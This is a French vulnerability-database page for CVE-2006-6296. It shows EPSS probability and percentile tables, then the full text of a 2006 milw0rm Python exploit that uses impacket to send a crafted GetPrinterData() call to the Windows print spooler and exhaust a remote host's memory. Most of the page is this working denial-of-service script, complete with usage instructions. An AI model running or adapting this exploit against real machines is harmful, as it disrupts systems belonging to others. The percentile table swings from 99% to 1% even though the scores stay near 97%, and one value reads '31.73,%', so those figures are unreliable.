CVE-2006-6296 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	40.85%	–	–
2023-03-12	–	–	–	96.86%	–
2023-05-14	–	–	–	96.86%	–
2023-06-18	–	–	–	96.75%	–
2023-07-30	–	–	–	96.8%	–
2023-09-03	–	–	–	96.84%	–
2023-10-15	–	–	–	96.76%	–
2024-02-04	–	–	–	96.71%	–
2024-03-10	–	–	–	96.76%	–
2024-06-02	–	–	–	96.76%	–
2024-06-02	–	–	–	96.76%	–
2024-08-11	–	–	–	96.56%	–
2024-12-22	–	–	–	97.05%	–
2025-01-19	–	–	–	97.05%	–
2025-03-18	–	–	–	–	43.56%
2025-04-06	–	–	–	–	33.12%
2025-04-08	–	–	–	–	31.73%
2025-04-27	–	–	–	–	31.73%
2025-04-27	–	–	–	–	31.73,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	98%
2023-03-12	99%
2023-05-14	1%
2023-06-18	99%
2023-07-30	1%
2023-09-03	1%
2023-10-15	1%
2024-02-04	1%
2024-03-10	1%
2024-06-02	1%
2024-06-02	1%
2024-08-11	1%
2024-12-22	1%
2025-01-19	1%
2025-03-18	97%
2025-04-06	97%
2025-04-08	96%
2025-04-27	97%
2025-04-27	97%

#!/usr/bin/python # MS Windows spoolss GetPrinterData() 0day Memory Allocation Remote DoS Exploit # Bug discovered by h07 <h07@interia.pl> # Tested on Windows 2000 SP4 Polish + All Microsoft Security Bulletins # Example: # # C:\>python spoolss_dos.py 192.168.0.2 512 # # [*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit # [*] Coded by h07 <h07@interia.pl> # [*] Connecting to 192.168.0.2:445 # [+] Connected # [+] The NETBIOS connection with the remote host timed out. # [+] 192.168.0.2: Out of memory # [+] Done # # Exploit --> GetPrinterData(handle, value, 1024 * 1024 * 512) --> MS_Windows # Spooler service(spoolsv.exe) memory usage: 512 MB ## from impacket.structure import Structure from impacket.nmb import NetBIOSTimeout from impacket.dcerpc import transport from impacket import uuid from struct import pack from string import atoi from sys import argv from sys import exit print "\n[*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit" print "[*] Coded by h07 <h07@interia.pl>" if(len(argv) < 3): print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0]) print "[*] Sample: %s 192.168.0.1 512" % (argv[0]) exit() MB = 1024 * 1024 host = argv[1] memory_size = MB * atoi(argv[2]) interface = ('spoolss', '12345678-1234-abcd-ef00-0123456789ab', '1.0') stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]" stringbinding %= { 'host': host, 'pipe': interface[0], } class B1(Structure): alignment = 4 structure = ( ('id', '<L'), ('max', '<L'), ('offset', '<L=0'), ('actual', '<L'), ('str', '%s'), ) class B2(Structure): alignment = 4 structure = ( ('max', '<L'), ('offset', '<L=0'), ('actual', '<L'), ('str', '%s'), ) class OpenPrinterEx(Structure): alignment = 4 opnum = 69 structure = ( ('printer', ':', B1), ('null', '<L=0'), ('str', '<L=0'), ('null2', '<L=0'), ('access', '<L=0'), ('level', '<L=1'), ('id1', '<L=1'), ('level2', '<L=10941724'), ('size', '<L=28'), ('id2', '<L=0x42424242'), ('id3', '<L=0x43434343'), ('build', '<L=2600'), ('major', '<L=3'), ('minor', '<L=0'), ('processor', '<L=0xFFFFFFFF'), ('client', ':', B2), ('user', ':', B2), ) class GetPrinterData(Structure): alignment = 4 opnum = 26 structure = ( ('handle', '%s'), ('value', ':', B2), ('offered', '<L'), ) trans = transport.DCERPCTransportFactory(stringbinding) print "[*] Connecting to %s:445" % (host) try: trans.connect() except: print "[-] Connect failed" exit() print "[+] Connected" dce = trans.DCERPC_class(trans) dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2]))) query = OpenPrinterEx() printer = "\\\\%s\x00" % (host) query['printer'] = B1() query['printer']['id'] = 0x41414141 query['printer']['max'] = len(printer) query['printer']['actual'] = len(printer) query['printer']['str'] = printer.encode('utf_16_le') client = "\\\\h07\x00" query['client'] = B2() query['client']['max'] = len(client) query['client']['actual'] = len(client) query['client']['str'] = client.encode('utf_16_le') user = "h07\x00" query['user'] = B2() query['user']['max'] = len(user) query['user']['actual'] = len(user) query['user']['str'] = user.encode('utf_16_le') dce.call(query.opnum, query) raw = dce.recv() handle = raw[:20] if(handle == ("\x00" * 20)): print "[-] ERR: OpenPrinterEx()" if(raw[20:] == "\x09\x07\x00\x00"): print "[-] Return code: Invalid printer name (0x00000709)" if(raw[20:] == "\x05\x00\x00\x00"): print "[-] Return code: Access denied (0x00000005)" exit() query = GetPrinterData() value = "blah_blah\x00" query['handle'] = handle query['value'] = B2() query['value']['max'] = len(value) query['value']['actual'] = len(value) query['value']['str'] = value.encode('utf_16_le') query['offered'] = memory_size dce.call(query.opnum, query) try: raw = dce.recv() status = raw[:4] r_size = raw[4:8] if(status == "\x1b\x00\x00\x1c"): print "[-] Memory allocation error, out of memory" exit() if(r_size == pack("<L", memory_size)): print "[+] Memory allocated" except NetBIOSTimeout, err: print "[+] %s" % (err) print "[+] %s: Out of memory" % (host) print "[+] Done" # EoF # milw0rm.com [2006-12-01]